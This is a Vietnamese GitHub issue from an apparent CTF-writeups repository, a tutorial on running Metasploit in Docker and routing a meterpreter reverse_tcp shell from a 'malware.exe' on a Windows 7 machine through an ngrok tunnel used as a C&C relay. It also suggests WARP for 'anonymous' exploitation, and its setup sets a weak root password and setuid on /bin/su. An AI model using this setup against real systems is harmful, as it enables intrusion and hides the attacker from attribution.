vinhjaxt / CTF-writeups

My CTF writeups
17 stars 0 forks source link

Sử dụng Metasploit không cần VPS và khai thác ẩn danh với ngrok, warp #3

Open vinhjaxt opened 3 years ago

vinhjaxt commented 3 years ago

Lời nói đầu

Trước hết, mình là newbie, về việc viết writeup, mình mong muốn chia sẻ cho các bạn newbie khác và nhận được những nhận xét, góp ý từ các bạn pro hơn, mời mọi người đọc và nhận xét bài writeup này nhé.

Xuất phát từ thực tế của mọi người trong việc cài đặt và sử dụng metasploit:

Từ những vấn đề đó, sau vài chục năm trời vắt óc suy nghĩ :v, mình đã tìm ra con đường tự cứu bản thân trong trường hợp này. Và dưới đây là bài chia sẻ của mình, để những newbie như mình, dễ dàng hơn, thoát khỏi vòng lao lý :))))))

Step 1: Cài đặt chung

Done step 1 nhé. Để chắc chắn done step 1, khi chạy các lệnh sau, sẽ không có lỗi nào được in ra:

Step 2: Cài đặt metasploit

Chạy 2 lệnh

docker run -d --name metasploit -p 4444:4444 -v /tmp/metasploit:/tmp/metasploit -it  metasploitframework/metasploit-framework
docker exec -it -u 0 metasploit bash -c 'chown root:root /bin/su && chmod +s /bin/su && echo root:toor | chpasswd'

Giải thích: Lệnh trên sẽ tạo 1 container, lắng nghe cổng 4444 (cổng thường dùng của metasploit), bạn có thể copy ra/vào files của máy host (máy bạn) và container này thông qua thư mục /tmp/metasploit. Đồng thời, ở lệnh thứ 2, mình đã reset root password của metasploit container này thành toor, để bạn dễ dàng nhớ hơn. Vậy là xong, bạn đã sẵn sàng để sử dụng metasploit rồi

Sử dụng metasploit

Để làm rõ hơn vấn đề này, mình sẽ demo sử dụng metasploit để một con malware reverse tcp về máy mình nhé.

Demo

Kịch bản

Có thầy đã nói với mình, demo cái gì thì cũng cần kịch bản, cảm ơn và theo lời thầy :100:, đây là kịch bản:

Con đường đi reverse tcp sẽ như sau:

Windows 7 <------ internet ------> Ngrok server <------ internet ------> Metasploit container

Như vậy, Ngrok server được sử dụng như C&C server vậy á, cơ mà ngrok thì ai dùng chả được, nhỉ (đây cũng chính là "ẩn danh" nè)

Step 1: Dùng ngrok tunnel cổng 4444

Step 2: Tạo malware.exe

Step 3: Sử dụng metasploit với multi handler

Bạn chạy lệnh như sau:

use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 0.0.0.0
set LPORT 4444
run

image

Step 4: Chạy malware.exe ở Windows 7

1Capture Vừa chạy xong là có reverse tcp về luôn: image image image

Vậy là mình đã demo thành công rồi, với cách này, kết hợp sử dụng warp làm vpn, bạn sẽ "ẩn danh" khi khai thác lỗ hổng bằng metasploit, và... ai cần vps đâu ;)

Lời nói cuối

Các bạn có thể đưa ra comment, hỏi đáp và nhận xét ở dưới đây, cảm ơn các bạn đã theo dõi. :+1:

Thang1102 commented 3 years ago

Hay quá AD ạ. Cảm ơn chia sẻ của AD